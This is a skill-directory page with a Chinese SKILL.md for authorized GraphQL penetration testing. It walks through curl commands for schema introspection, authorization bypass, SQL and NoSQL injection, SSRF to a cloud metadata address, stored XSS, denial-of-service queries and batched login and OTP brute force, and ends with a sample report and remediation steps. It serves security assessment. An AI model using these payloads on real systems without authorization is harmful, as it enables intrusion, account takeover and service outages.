La interfaz está localizada; las descripciones y documentos de las Skills se traducen automáticamente con IA a su idioma. El código, los comandos, rutas y términos técnicos se mantienen en el original, y prevalece el documento del autor.
Explorar Skills
Productividad · SKILL.md

performing-graphql-security-assessment

performing-graphql-security-assessment

在授权安全测试期间,评估 GraphQL API 端点的内省泄漏、注入攻击、授权缺陷和拒绝服务漏洞。

Independent GitHub snapshot · Automated classification · Original documentation governs

Documentación de la Skill

GitHub

name: performing-graphql-security-assessment description: 在授权安全测试期间,评估 GraphQL API 端点的内省泄漏、注入攻击、授权缺陷和拒绝服务漏洞。 domain: cybersecurity subdomain: web-application-security tags: [penetration-testing, graphql, api-security, owasp, web-security, introspection] version: "1.0" author: mahipal license: Apache-2.0

执行 GraphQL 安全评估(Performing GraphQL Security Assessment)

适用场景

  • 在授权渗透测试期间,当目标应用程序使用 GraphQL API 时
  • 评估通过 GraphQL 通信的单页应用程序(React、Vue、Angular)时
  • 评估公开 GraphQL 端点的移动应用程序后端时
  • 测试带有 GraphQL 网关或联邦的微服务架构时
  • 在针对基于 GraphQL API 的漏洞赏金项目中

前置条件

  • 授权:针对目标的书面渗透测试协议
  • Burp Suite Professional:带有 InQL 扩展用于 GraphQL 扫描
  • GraphQL Voyager:模式可视化工具
  • InQL Scanner:用于 GraphQL 内省和查询生成的 Burp 扩展
  • Altair GraphQL Client:用于交互式测试的桌面 GraphQL 客户端
  • clairvoyance:禁用内省时的 GraphQL 模式枚举工具
  • curl:手动 GraphQL 查询提交

工作流程

步骤 1:发现并指纹识别 GraphQL 端点

定位 GraphQL 端点并确认 GraphQL 正在运行。

# 常见 GraphQL 端点路径
for path in graphql graphiql playground query gql api/graphql \
  v1/graphql v2/graphql graphql/console; do
  status=$(curl -s -o /dev/null -w "%{http_code}" \
    -X POST -H "Content-Type: application/json" \
    -d '{"query":"{__typename}"}' \
    "https://target.example.com/$path")
  echo "$path: $status"
done

# 检查 GraphQL IDE(GraphiQL、Playground)
curl -s "https://target.example.com/graphiql" | grep -i "graphiql"
curl -s "https://target.example.com/graphql/playground" | grep -i "playground"

# 指纹识别 GraphQL 引擎
curl -s -X POST \
  -H "Content-Type: application/json" \
  -d '{"query":"{__typename}"}' \
  "https://target.example.com/graphql"
# 响应因引擎而异:Apollo 返回"Query",Hasura 返回"query_root"

# 检查 WebSocket GraphQL 订阅
# ws://target.example.com/graphql(或 wss://)

步骤 2:执行模式内省

提取完整的 GraphQL 模式以了解 API 表面。

# 完整内省查询
curl -s -X POST \
  -H "Content-Type: application/json" \
  -d '{"query":"{ __schema { types { name kind fields { name type { name kind ofType { name kind } } } } mutationType { fields { name } } queryType { fields { name } } subscriptionType { fields { name } } } }"}' \
  "https://target.example.com/graphql" | jq .

# 综合内省查询
curl -s -X POST \
  -H "Content-Type: application/json" \
  -d '{"query":"query IntrospectionQuery{__schema{queryType{name}mutationType{name}subscriptionType{name}types{...FullType}directives{name description locations args{...InputValue}}}}fragment FullType on __Type{kind name description fields(includeDeprecated:true){name description args{...InputValue}type{...TypeRef}isDeprecated deprecationReason}inputFields{...InputValue}interfaces{...TypeRef}enumValues(includeDeprecated:true){name description isDeprecated deprecationReason}possibleTypes{...TypeRef}}fragment InputValue on __InputValue{name description type{...TypeRef}defaultValue}fragment TypeRef on __Type{kind name ofType{kind name ofType{kind name ofType{kind name ofType{kind name ofType{kind name ofType{kind name}}}}}}}"}' \
  "https://target.example.com/graphql" | jq . > schema.json

# 如果内省被禁用,使用 clairvoyance 进行模式枚举
python3 -m clairvoyance \
  -u "https://target.example.com/graphql" \
  -w /usr/share/seclists/Discovery/Web-Content/graphql-field-names.txt \
  -o discovered-schema.json

# 使用 GraphQL Voyager 可视化模式
# 将 schema.json 上传到 https://graphql-kit.com/graphql-voyager/

步骤 3:测试查询和变更的授权

验证访问控制是否在字段和对象级别强制执行。

# 测试查询所有用户(应需要管理员权限)
curl -s -X POST \
  -H "Content-Type: application/json" \
  -H "Authorization: Bearer $USER_TOKEN" \
  -d '{"query":"{ users { id email role passwordHash } }"}' \
  "https://target.example.com/graphql" | jq .

# 测试访问自己账户上的敏感字段
curl -s -X POST \
  -H "Content-Type: application/json" \
  -H "Authorization: Bearer $USER_TOKEN" \
  -d '{"query":"{ user(id: 1) { id email ssn creditCard internalNotes } }"}' \
  "https://target.example.com/graphql" | jq .

# 测试变更授权(使用用户令牌执行仅管理员操作)
curl -s -X POST \
  -H "Content-Type: application/json" \
  -H "Authorization: Bearer $USER_TOKEN" \
  -d '{"query":"mutation { deleteUser(id: 2) { success } }"}' \
  "https://target.example.com/graphql" | jq .

curl -s -X POST \
  -H "Content-Type: application/json" \
  -H "Authorization: Bearer $USER_TOKEN" \
  -d '{"query":"mutation { updateUserRole(userId: 1, role: ADMIN) { id role } }"}' \
  "https://target.example.com/graphql" | jq .

# 无认证测试
curl -s -X POST \
  -H "Content-Type: application/json" \
  -d '{"query":"{ users { id email } }"}' \
  "https://target.example.com/graphql" | jq .

步骤 4:测试注入漏洞

评估 GraphQL 查询的 SQL 注入、NoSQL 注入和其他注入类型。

# GraphQL 参数中的 SQL 注入
curl -s -X POST \
  -H "Content-Type: application/json" \
  -H "Authorization: Bearer $TOKEN" \
  -d '{"query":"{ user(name: \"admin\\\" OR 1=1--\") { id email } }"}' \
  "https://target.example.com/graphql" | jq .

# NoSQL 注入(MongoDB)
curl -s -X POST \
  -H "Content-Type: application/json" \
  -H "Authorization: Bearer $TOKEN" \
  -d '{"query":"{ users(filter: {email: {$ne: \"\"}}) { id email } }"}' \
  "https://target.example.com/graphql" | jq .

# 通过 GraphQL 测试 SSRF
curl -s -X POST \
  -H "Content-Type: application/json" \
  -H "Authorization: Bearer $TOKEN" \
  -d '{"query":"mutation { importData(url: \"http://169.254.169.254/latest/meta-data/\") { result } }"}' \
  "https://target.example.com/graphql" | jq .

# 通过变更测试存储型 XSS
curl -s -X POST \
  -H "Content-Type: application/json" \
  -H "Authorization: Bearer $TOKEN" \
  -d '{"query":"mutation { updateProfile(bio: \"<script>alert(1)</script>\") { id bio } }"}' \
  "https://target.example.com/graphql" | jq .

# GraphQL 指令注入
curl -s -X POST \
  -H "Content-Type: application/json" \
  -d '{"query":"{ user(id: 1) { email @deprecated } }"}' \
  "https://target.example.com/graphql" | jq .

步骤 5:测试拒绝服务攻击

评估查询复杂度限制和资源消耗控制。

# 深度嵌套攻击(查询深度)
curl -s -X POST \
  -H "Content-Type: application/json" \
  -H "Authorization: Bearer $TOKEN" \
  -d '{"query":"{ users { friends { friends { friends { friends { friends { friends { friends { name } } } } } } } } }"}' \
  "https://target.example.com/graphql" | jq .

# 宽度攻击(请求多个字段)
curl -s -X POST \
  -H "Content-Type: application/json" \
  -H "Authorization: Bearer $TOKEN" \
  -d '{"query":"{ u1: user(id:1){email} u2: user(id:2){email} u3: user(id:3){email} u4: user(id:4){email} u5: user(id:5){email} u6: user(id:6){email} u7: user(id:7){email} u8: user(id:8){email} u9: user(id:9){email} u10: user(id:10){email} }"}' \
  "https://target.example.com/graphql" | jq .

# 批量查询攻击
curl -s -X POST \
  -H "Content-Type: application/json" \
  -H "Authorization: Bearer $TOKEN" \
  -d '[{"query":"{ user(id:1){email} }"},{"query":"{ user(id:2){email} }"},{"query":"{ user(id:3){email} }"},{"query":"{ user(id:4){email} }"},{"query":"{ user(id:5){email} }"}]' \
  "https://target.example.com/graphql" | jq .

# 基于片段的循环引用
curl -s -X POST \
  -H "Content-Type: application/json" \
  -d '{"query":"{ users { ...A } } fragment A on User { friends { ...B } } fragment B on User { friends { ...A } }"}' \
  "https://target.example.com/graphql" | jq .

# 测试无界分页
curl -s -X POST \
  -H "Content-Type: application/json" \
  -H "Authorization: Bearer $TOKEN" \
  -d '{"query":"{ users(first: 1000000) { id email } }"}' \
  "https://target.example.com/graphql" | jq '.data.users | length'

步骤 6:测试批量请求绕过认证

使用查询批量来暴力破解凭据或绕过速率限制。

# 批量登录尝试以绕过速率限制
curl -s -X POST \
  -H "Content-Type: application/json" \
  -d '[
    {"query":"mutation{login(email:\"admin@target.com\",password:\"password1\"){token}}"},
    {"query":"mutation{login(email:\"admin@target.com\",password:\"password2\"){token}}"},
    {"query":"mutation{login(email:\"admin@target.com\",password:\"password3\"){token}}"},
    {"query":"mutation{login(email:\"admin@target.com\",password:\"admin123\"){token}}"},
    {"query":"mutation{login(email:\"admin@target.com\",password:\"letmein\"){token}}"}
  ]' \
  "https://target.example.com/graphql" | jq .

# 批量 OTP 验证尝试
curl -s -X POST \
  -H "Content-Type: application/json" \
  -d '[
    {"query":"mutation{verifyOTP(code:\"000000\"){success}}"},
    {"query":"mutation{verifyOTP(code:\"000001\"){success}}"},
    {"query":"mutation{verifyOTP(code:\"000002\"){success}}"},
    {"query":"mutation{verifyOTP(code:\"000003\"){success}}"},
    {"query":"mutation{verifyOTP(code:\"000004\"){success}}"}
  ]' \
  "https://target.example.com/graphql" | jq .

# 基于别名的批量(相同操作,不同别名)
curl -s -X POST \
  -H "Content-Type: application/json" \
  -d '{"query":"mutation { a1:login(email:\"admin@test.com\",password:\"pass1\"){token} a2:login(email:\"admin@test.com\",password:\"pass2\"){token} a3:login(email:\"admin@test.com\",password:\"pass3\"){token} }"}' \
  "https://target.example.com/graphql" | jq .

核心概念

概念定义
内省(Introspection)公开完整模式、类型、字段和变更的 GraphQL 功能
查询深度(Query Depth)GraphQL 查询的嵌套级别;深度过大的查询可能导致 DoS
查询复杂度(Query Complexity)根据查询中每个字段的解析成本计算的分数
批量请求(Batching)在单个 HTTP 请求中发送多个查询以并行执行
别名(Aliases)允许以不同参数多次查询同一字段的 GraphQL 功能
片段(Fragments)可重用的字段选择,如果不验证可能导致循环引用
N+1 问题(N+1 Problem)未优化的解析器导致嵌套字段指数级数据库查询
字段级授权(Field-level Authorization)应用于单个字段而非整个类型的访问控制

工具与系统

工具用途
InQL(Burp 扩展)Burp Suite 的 GraphQL 内省扫描器和查询生成器
GraphQL Voyager交互式模式可视化工具
Altair GraphQL Client用于构造和测试查询的桌面 GraphQL IDE
clairvoyance禁用内省时的模式枚举工具
graphql-copGraphQL 安全审计工具(pip install graphql-cop)
BatchQL用于速率限制绕过的 GraphQL 批量攻击工具

常见场景

场景 1:内省暴露内部模式

生产环境启用了内省,泄露了 AdminSettings、InternalUser 等内部类型以及 deleteAllUsers 等变更。这为进一步攻击提供了完整的路线图。

场景 2:缺少字段级授权

User 类型暴露了 passwordHash、ssn 和 internalNotes 字段。虽然前端只查询 name 和 email,但任何已认证用户都可以直接请求敏感字段。

场景 3:批量登录绕过

GraphQL 端点接受批量查询。通过在单个 HTTP 请求中发送 1000 次登录变更尝试,攻击者绕过了仅计算 HTTP 请求次数的基于 IP 的速率限制。

场景 4:嵌套查询 DoS

社交网络 API 允许查询 friends { friends { friends { ... } } } 至无限深度。10 级嵌套查询导致服务器处理数百万次数据库查询,造成拒绝服务。

输出格式

## GraphQL 安全评估报告

**目标**:https://target.example.com/graphql
**引擎**:Apollo Server 4.x
**评估日期**:2024-01-15

### 发现摘要
| 发现 | 严重程度 | 状态 |
|---------|----------|--------|
| 生产环境启用内省 | 中等 | 易受攻击 |
| 缺少字段级授权 | 高 | 易受攻击 |
| 无查询深度限制 | 高 | 易受攻击 |
| 批量查询速率限制绕过 | 高 | 易受攻击 |
| GraphiQL IDE 已暴露 | 低 | 易受攻击 |
| user 查询中的 SQL 注入 | 严重 | 易受攻击 |
| 变更上的 CSRF | 中等 | 通过(需要自定义头部) |

### 严重:通过 user 查询的 SQL 注入
**位置**:`user(name: String)` 查询参数
**载荷**:`{ user(name: "' OR 1=1--") { id email role } }`
**影响**:通过 GraphQL 接口完全读取数据库

### 高:批量认证绕过
**位置**:POST /graphql(数组请求体)
**载荷**:单个请求中包含 100 个登录变更的数组
**影响**:速率限制被绕过;每个 HTTP 请求可尝试 100 个密码

### 修复建议
1. 在生产环境中禁用内省
2. 对所有敏感字段实施字段级授权
3. 设置查询深度限制(最大 7-10 层)
4. 设置查询复杂度限制和成本分析
5. 禁用或对批量查询进行速率限制
6. 从生产环境中删除 GraphiQL/Playground
7. 对解析器中的所有数据库查询使用参数化处理
Skills guardadas